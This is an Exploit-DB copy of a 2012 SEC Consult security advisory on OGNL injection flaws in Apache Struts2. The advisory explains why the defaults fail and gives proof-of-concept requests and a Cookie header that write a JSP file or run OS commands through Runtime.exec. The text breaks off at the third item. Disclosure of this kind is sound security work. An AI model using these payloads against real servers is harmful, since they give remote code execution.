Exploit-DB #18329
Description: Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2012-01-06
Author: SEC Consult

Exploit:
SEC Consult Vulnerability Lab Security Advisory < 20120104-0 >
=======================================================================
              title: Multiple critical vulnerabilities in Apache Struts2
            product: Apache Struts2
                     * OpenSymphony XWork
                     * OpenSymphony OGNL
 vulnerable version: 2.3.1 and below
      fixed version: 2.3.1.1
             impact: critical
           homepage: http://struts.apache.org/
              found: 2011-11-18
                 by: Johannes Dahse, Andreas Nusser
                     SEC Consult Vulnerability Lab 
                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
Apache Struts2 is a web framework for creating Java web applications. It is
using the OpenSymphony XWork and OGNL libraries. By default, XWork's
ParametersInterceptor treats parameter names provided to actions as OGNL
expressions. A OGNL (Object Graph Navigation Language) expression is a limited
language similar to Java that is tokenized and parsed by the OGNL parser which
invokes appropiate Java methods. This allows e.g. convenient access to
properties that have a getter/setter method implemented. By providing a
parameter like "product.id=1" the OGNL parser will call the appropiate setter
getProduct().setId(1) in the current action context. OGNL is also able to call
arbitrary methods, constructors and access context variables. For more details
please refer to http://commons.apache.org/ognl/language-guide.html.

 
Vulnerability overview/description:
-----------------------------------
To prevent attackers calling arbitrary methods within parameters the flag
"xwork.MethodAccessor.denyMethodExecution" is set to "true" and the
SecurityMemberAccess field "allowStaticMethodAccess" is set to "false" by
default. Also, to prevent access to context variables an improved character
whitelist for paramteter names is applied in XWork's ParametersInterceptor since
Struts 2.2.1.1:

acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

Under certain circumstances these restrictions can be bypassed to execute
malicious Java code.

1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)

When an exception occurs while applying parameter values to properties the
value is evaluated as OGNL expression. For example this occurs when setting a
string value to a property with type integer. Since the values are not
filtered an attacker can abuse the power of the OGNL language to execute
arbitrary Java code leading to remote command execution. This issue has been
reported (https://issues.apache.org/jira/browse/WW-3668) and was fixed in
Struts 2.2.3.1. However the ability to execute arbitrary Java code has been
overlooked.

2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)

The character whitelist for parameter names is not applied to Struts
CookieInterceptor. When Struts is configured to handle cookie names, an
attacker can execute arbitrary system commands with static method access to
Java functions. Therefore the flag "allowStaticMethodAccess" can be set to
true within the request.

3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)

Accessing the flag "allowStaticMethodAccess" within parameters is prohibited
since Struts 2.2.3.1. An attacker can still access public constructors with
only one parameter of type String to create new Java objects and access their
setters with only one parameter of type String. This can be abused for example
to create and overwrite arbitrary files. To inject forbidden characters to the
filename an uninitialized string property can be used.

4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)

While not being a security vulnerability itself, please note that applications
running in developer mode and using Struts DebuggingInterceptor are prone to
remote command execution as well. While applications should never run in
developer mode during production, developers should be aware that doing so not
only has performance issues (as documented) but also a critical security
impact.


Proof of concept:
-----------------

1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)

Given Test.java has an property "id" of type Integer or Long and appropriate
getter and setter methods:
	long id;
	
Given test.jsp with result name=input is configured for action "Test":
struts.xml:
	<action name="Test" class="example.Test">
		<result name="input">test.jsp</result>
	</action>	

The following request will trigger an exception, the value will be evaluated
as OGNL expression and arbitrary Java code can be executed:

	/Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b'
	
An attacker can	also overwrite flags that will allow direct OS command execution:
	/Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'

If test.jsp displays the property "id" the result of the Java code evaluation
can be accessed:
	<%@ taglib prefix="s" uri="/struts-tags" %>
	<s:property value="id" />		
	
2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)

Given struts.xml is configured to handle all cookie names (independent of
limited cookie values):
	<action name="Test" class="example.Test">
		<interceptor-ref name="cookie">
			<param name="cookiesName">*</param>
			<param name="cookiesValue">1,2</param>
		</interceptor-ref>
		<result ...>
	</action>

The following HTTP header will execute an OS command when sent to Test.action:
	Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1; x[@java.lang.Runtime@getRuntime().exec('calc')]=1

3.) Arbitrary File Overwrite in Struts <= 2.3.1 (Parameters